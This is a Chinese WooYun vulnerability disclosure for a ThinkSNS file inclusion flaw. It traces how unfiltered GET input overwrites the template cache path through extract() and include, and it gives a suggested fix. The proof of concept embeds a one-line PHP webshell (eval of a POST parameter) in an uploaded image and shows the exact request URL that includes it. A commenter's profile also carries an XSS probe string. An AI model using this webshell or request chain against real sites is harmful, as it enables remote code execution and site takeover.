当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(33) 关注此漏洞

缺陷编号: WooYun-2014-56641

漏洞标题: ThinkSNS任意文件包含(可getshell)

相关厂商: ThinkSNS

漏洞作者: Ano_Tom认证白帽子

提交时间: 2014-04-11 11:53

公开时间: 2014-07-10 11:54

漏洞类型: 文件包含

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-11: 细节已通知厂商并且等待厂商处理中
2014-04-12: 厂商已经确认,细节仅向厂商公开
2014-04-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

ThinkSNS某处处理不当,可以导致任意代码执行。

详细说明:

漏洞文件:/thinksns/apps/w3g/Lib/Action/PublicAction.class.php

函数:

code 区域
public function register() {
// if (!$this->isRegisterOpen())
// redirect(U('/Public/login'), 3, '站点未开放注册');
$this->assign($_GET);//获取的变量进入assign函数
$this->display();//然后执行了display()
}



跟踪assign函数

/thinksns/core/OpenSociax/Action.class.php

函数:

code 区域
public function assign($name,$value='') {
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
// var_dump($this->tVar);//die;
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tVar[$key] = $val;
}else {
$this->tVar[$name] = $value;
}
}



如果$name为数组,则跟全局变量$tVar合并,而后执行的display()函数,而该函数调用则用到了$tVar变量

display()函数的文件为/thinksns/core/OpenSociax/functions.inc.php

函数:

code 区域
function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') {
fetch($templateFile,$tvar,$charset,$contentType,true);
}



调用了fetch函数,fetch函数文件/thinksns/core/OpenSociax/functions.inc.php

函数:

code 区域
function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
//注入全局变量ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用null参数作为模版名直接返回不做任何输出
return ;

if(empty($charset)) $charset = C('DEFAULT_CHARSET');

// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);

header("Cache-control: private"); //支持页面回跳

//页面缓存
ob_start();
ob_implicit_flush(0);
// var_dump($templateFile);die;
// 模版名为空.
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';

// 模版名为ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';

// 模版是绝对路径
}elseif(file_exists($templateFile)){

// 模版不存在
}else{
// return 1;
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
}
//模版缓存文件
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';

//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
// 如果缓存文件存在,则释放变量包含,此处由于没有模版,所以暂时无法包含
extract($tvar, EXTR_OVERWRITE);

//载入模版缓存文件
include $templateCacheFile;

//重新编译
}else{
// 没有模版缓存,则重新编译
// echo 3333;die;
tshook('tpl_compile',array('templateFile',$templateFile));

// 缓存无效 重新编译
tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');
tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
// var_dump($tvar);die;
$tpl = Template::getInstance();
// 编译并加载模板文件
$tpl->load($templateFile,$tvar,$charset);
}

// 获取并清空缓存
$content = ob_get_clean();

// 模板内容替换
$replace = array(
'__ROOT__' => SITE_URL, // 当前网站地址
'__UPLOAD__' => UPLOAD_URL, // 上传文件地址
//'__PUBLIC__' => PUBLIC_URL, // 公共静态地址
'__PUBLIC__' => THEME_PUBLIC_URL, // 公共静态地址
'__THEME__' => THEME_PUBLIC_URL, // 主题静态地址
'__APP__' => APP_PUBLIC_URL, // 应用静态地址
'__URL__' => __ROOT__.'/index.php?app='.APP_NAME.'&mod='.MODULE_NAME,
);

if(C('TOKEN_ON')) {
if(strpos($content,'{__TOKEN__}')) {
// 指定表单令牌隐藏域位置
$replace['{__TOKEN__}'] = $this->buildFormToken();
}elseif(strpos($content,'{__NOTOKEN__}')){
// 标记为不需要令牌验证
$replace['{__NOTOKEN__}'] = '';
}elseif(preg_match('/<\/form(\s*)>/is',$content,$match)) {
// 智能生成表单令牌隐藏域
$replace[$match[0]] = $this->buildFormToken().$match[0];
}
}

// 允许用户自定义模板的字符串替换
if(is_array(C('TMPL_PARSE_STRING')) )
$replace = array_merge($replace,C('TMPL_PARSE_STRING'));

$content = str_replace(array_keys($replace),array_values($replace),$content);

// 布局模板解析
//$content = $this->layout($content,$charset,$contentType);
// 输出模板文件
if($display)
echo $content;
else
return $content;
}





调用display()函数时候,$templateFile='',$tvar=array(),两个参数都为空,同样进入fetch()时两个函数也为空,

fetch()函数中,如果$templateFile=''为空,则执行

code 区域
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';//赋值模版文件为/w3g/Tpl/default/public/register.html,而该文件默认是存在的
echo $templateFile;//如果templatefile为空则执行,将template的路径输出,
//输出/thinksns/apps/w3g/Tpl/default/public/register.html
// var_dump($tVar);die;
// 模版名为ACTION_NAME
}



然后生成模版缓存文件,执行

$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';

获得的文件路径为

/thinksns/_runtime/tplcache//w3g_7ea60510bedf5769.php

然后执行载入模版缓存

code 区域
//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
// 如果缓存文件存在,则释放变量包含,此处由于没有模版,所以暂时无法包含
extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;

//重新编译
}



代码extract($tvar, EXTR_OVERWRITE);

include $templateCacheFile;

释放变量,覆盖$templateCacheFile即可任意文件包含

漏洞证明:

注册普通用户,上传图片木马,图片木马嵌入代码为

code 区域
<?php file_put_contents("hello.php","<?php @eval(\$_POST[CC])?>");?>



2.上传图片

上传后返回/thinksns/data/upload/2014/0411/11/53475f6a7374d_100_100.jpg

则图片文件为/thinksns/data/upload/2014/0411/11/53475f6a7374d.jpg

执行包含,/thinksns/index.php?app=w3g&mod=public&act=register&templateCacheFile=/data/upload/2014/0411/11/53475f6a7374d.jpg

在根目录下生成hello.php

EEEE.jpg



连接如图

修复方案:

修复$this->assign($_GET);

或者修复代码中的变量覆盖问题

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-04-12 10:31

厂商回复:

非常感谢!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-05-22 10:38 | Mody ( 普通白帽子 | Rank:110 漏洞数:27 | "><img src=x onerror=alert(1);> <img s...)
    2

    叼,跟了这么长。。。

  2. 2014-07-10 12:52 | ChinaMars ( 实习白帽子 | Rank:46 漏洞数:10 )
    0

    吊。。。

  3. 2014-07-10 13:22 | chock ( 普通白帽子 | Rank:156 漏洞数:33 | 若你喜欢怪人)
    0

    jj fly

登录后才能发表评论,请先 登录